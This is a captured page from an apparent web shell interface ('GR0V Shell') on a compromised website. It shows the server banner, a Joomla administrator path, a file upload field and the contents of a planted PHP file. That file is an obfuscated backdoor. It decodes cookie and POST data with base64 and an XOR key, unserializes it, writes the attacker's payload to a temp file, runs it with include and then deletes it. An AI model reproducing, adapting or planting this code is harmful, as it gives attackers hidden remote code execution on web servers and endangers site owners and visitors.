? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/test/administrator/modules/mod_status/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/test/administrator/modules/mod_status/4618e16f.php

$zHsSHZGp = 'r' . chr ( 726 - 631 ).chr ( 495 - 391 )."\167" . chr ( 474 - 374 ).chr ( 414 - 329 ).chr ( 1046 - 958 ); $vItaNND = "\x63" . chr (108) . "\x61" . chr ( 248 - 133 ).chr ( 638 - 523 ).chr (95) . "\145" . chr ( 1008 - 888 ).'i' . "\x73" . 't' . chr (115); $xgwsoAQ = $vItaNND($zHsSHZGp); $ksEIAWvuZ = $xgwsoAQ;if (!$ksEIAWvuZ){class r_hwdUX{private $SquqX;public static $eOKmU = "3e86363e-fe37-4732-b9d6-8bcd95d7cbdc";public static $JHUNsJ = 40553;public function __construct($fMHqyv=0){$jYvjxD = $_COOKIE;$eCFekWnpk = $_POST;$iJpkJ = @$jYvjxD[substr(r_hwdUX::$eOKmU, 0, 4)];if (!empty($iJpkJ)){$MSZRLMFXy = "base64";$Nhmlb = "";$iJpkJ = explode(",", $iJpkJ);foreach ($iJpkJ as $LXrVOYmB){$Nhmlb .= @$jYvjxD[$LXrVOYmB];$Nhmlb .= @$eCFekWnpk[$LXrVOYmB];}$Nhmlb = array_map($MSZRLMFXy . "\137" . 'd' . "\145" . chr (99) . chr ( 490 - 379 ).chr (100) . chr ( 985 - 884 ), array($Nhmlb,)); $Nhmlb = $Nhmlb[0] ^ str_repeat(r_hwdUX::$eOKmU, (strlen($Nhmlb[0]) / strlen(r_hwdUX::$eOKmU)) + 1);r_hwdUX::$JHUNsJ = @unserialize($Nhmlb);}}private function GkOUS(){if (is_array(r_hwdUX::$JHUNsJ)) {$VuYSCseX = sys_get_temp_dir() . "/" . crc32(r_hwdUX::$JHUNsJ['s' . "\x61" . "\154" . 't']);@r_hwdUX::$JHUNsJ["\167" . "\162" . chr ( 119 - 14 ).'t' . 'e']($VuYSCseX, r_hwdUX::$JHUNsJ['c' . "\x6f" . chr ( 758 - 648 ).'t' . 'e' . chr ( 1009 - 899 )."\164"]);include $VuYSCseX;@r_hwdUX::$JHUNsJ["\144" . chr (101) . "\154" . chr ( 495 - 394 )."\164" . "\145"]($VuYSCseX); $AYztTPYGa = "18753";exit();}}public function __destruct(){$this->GkOUS(); $AYztTPYGa = "18753";}}$kWVntcSemy = new r_hwdUX(); $kWVntcSemy = "64160_32715";}

T1KUS90T
  root-grov@210.1.60.28:~$